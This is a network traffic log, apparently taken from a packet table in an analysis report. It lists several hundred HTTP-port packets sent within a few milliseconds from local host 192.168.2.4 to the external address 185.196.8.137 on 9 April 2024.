Apr 9, 2024 14:54:04.575407982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575407982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575438023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575454950 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575481892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575515985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575515985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575546026 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575570107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575570107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575593948 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575619936 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575634003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575655937 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575680017 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575701952 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575719118 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575742960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575764894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575788021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575808048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575829029 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575850010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575870037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575891018 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575910091 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575932026 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575951099 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576062918 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576086998 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576111078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576133966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576154947 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576178074 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576206923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576226950 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576292038 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576359987 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576383114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576410055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576426983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576457977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576477051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576581001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576841116 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576916933 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.576982975 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577018976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577047110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577069998 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577095032 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577117920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577157021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577179909 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577277899 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577301025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577322006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577348948 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577379942 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577400923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577423096 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577445030 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577467918 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577483892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577507973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577528954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577545881 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577565908 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577584982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577605009 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577625990 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577686071 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577703953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577739000 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577739000 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577755928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577780962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577800989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577830076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577851057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577872038 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577893019 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577920914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577930927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577950954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577970982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.577987909 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578006983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578027964 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578052044 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578068972 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578090906 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578114033 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578134060 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578156948 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578171968 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578191042 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578212976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578231096 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578252077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578268051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578289986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578310966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578327894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578366995 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578366995 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578388929 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578413010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578433037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578450918 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578475952 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578488111 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578516960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578535080 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578676939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578697920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578720093 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578739882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578757048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578823090 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578843117 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578871965 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578898907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578913927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578938007 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578960896 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.578982115 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579071999 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579096079 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579117060 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579138994 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579159021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579174995 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579202890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579226971 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579248905 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579268932 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579293013 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579322100 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579333067 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579356909 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579375982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579396009 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579417944 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579433918 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579478979 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579500914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579521894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579540014 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579565048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579586029 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579605103 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579628944 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579643965 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579739094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579766035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579787016 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579804897 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579829931 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579843998 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579866886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579889059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579907894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579931974 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579955101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579977989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.579997063 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580019951 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580040932 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580059052 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580081940 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580101013 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580121040 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580141068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580154896 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580178022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580199003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580224991 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580239058 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580264091 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580286980 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580302000 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580322027 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580363989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580363989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580379009 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580403090 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580425024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580439091 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580473900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580487967 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580513000 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580534935 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580554008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580579996 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580601931 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580624104 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580641031 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580667019 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580682993 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580707073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580730915 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580750942 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580770969 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580794096 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580811024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580836058 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580856085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580874920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580921888 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580921888 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580943108 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580961943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.580981970 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581002951 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581021070 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581044912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581063986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581089973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581103086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581127882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581150055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581175089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581191063 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581219912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581238985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581259966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581279039 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581300974 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581324100 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581343889 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581366062 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581383944 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581406116 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581428051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581451893 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581474066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581491947 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581512928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581538916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581562996 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581583977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581604958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581626892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581646919 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581666946 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581687927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581710100 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581731081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581759930 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581773043 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581795931 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581818104 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581839085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581861019 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581881046 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581901073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581922054 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581942081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581967115 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.581978083 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582005024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582026958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582046986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582068920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582087994 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582110882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582132101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582154036 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582174063 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582200050 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582216024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582240105 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582261086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582281113 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582302094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582323074 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582345963 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582367897 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582393885 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582415104 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582436085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582457066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582477093 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582499981 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582520962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582542896 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582561970 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582583904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582603931 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582626104 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582648039 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582668066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582690001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582710981 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582731962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582755089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582777023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582799911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582822084 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582843065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582854033 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582880020 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582897902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582921982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582943916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582966089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.582986116 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583007097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583029985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583049059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583076954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583097935 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583136082 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583147049 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583168983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583193064 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583213091 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583235025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583256006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583276987 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583297014 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583314896 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583336115 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583358049 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583378077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583400011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583426952 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583447933 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583467960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583496094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583517075 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583539963 CEST	49740	80	192.168.2.4	185.196.8.137
